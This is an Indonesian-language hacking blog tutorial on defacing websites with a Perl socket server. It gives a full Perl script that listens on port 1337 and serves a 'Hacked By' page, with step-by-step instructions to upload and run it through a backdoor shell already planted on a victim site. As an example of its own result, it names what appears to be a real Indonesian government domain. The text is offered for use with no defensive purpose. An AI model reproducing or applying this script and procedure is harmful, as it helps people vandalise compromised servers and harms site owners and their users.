Deface POC Socket Server With Perl

Baca Juga

Assalamualaikum Brother

Kali ini gwe bakal kasih tutorial Deface POC Socket Server With Perl. yaitu deface add port di belakang nama ip atau website. 

Contoh : http://dpmptsp.bekasikab.go.id:1337 (Hasil Socket Server Saya)

Nah sekarang wee kasih tau caranya nih , DEFACE DENGAN SOCKET SERVER WITH PERL

Bahan Bahan :

1. File Perl

2. Web yang udah tertanam shell backdoor (untuk upload dan jalankan file perl)

#!/usr/bin/perl -w

use strict;

use IO::Socket;

sub Wait {

 wait; # wait needed to keep <defunct> pids from building up

}

$SIG{CHLD} = &Wait;

my $server = IO::Socket::INET->new(

 LocalPort => 1337, # set port

 Type => SOCK_STREAM,

 Reuse => 1,

 Listen => 10) or die "$@n";

my $client ;

while($client = $server->accept()) {

 select $client;

 print $client "HTTP/1.0 200 OKrn";

 print $client "Content-type: text/htmlrnrn";

 print $client '<H1>Hacked By ./W4D3R 1337</H1><BR><H2>Jawa Tengah Xploit</H2>'; # set your html content

}

continue {

 close($client); #kills hangs

 kill CHLD => -$$;

}

Diatas itu adalah script file perl nya bisa kalian salin lalu jadikan file dengan extensi .pl (perl.pl)

1. Pertama gunakan shell backdoor yang bisa melihat ON dan OFF perl nya

ON & OFF pada perl

2. Buka website kmu yg udh kamu tanem shell lalu upload file perl nya

Script File Perl

3. Nah klo udh di upload sekarang jalankan file perlnya di menu [ Command ] udh ada di dlm shell , lu ketik ini di menu command [ perl perl.pl ] TANPA TANDA KURUNG ,, Trus enter lalu tunggu prosesnya, biasanya agak lama

Command Perl Pada Socket Server

4. Klo prosesnya udh selesai, sekarang kita cek websitenya.

Contoh : site.com:1337
    - 1337 = Nomor port sesuai yg di file perl.pl

Hasil Deface Socket Server

5. Nah itu hasilnya kaya gitu, kalian bisa ganti sc deface nya di file perl.pl nya sesuka kalian

Oke sekian dari saya semoga bermanfaat. dan jangan lupa share.. Terimakasih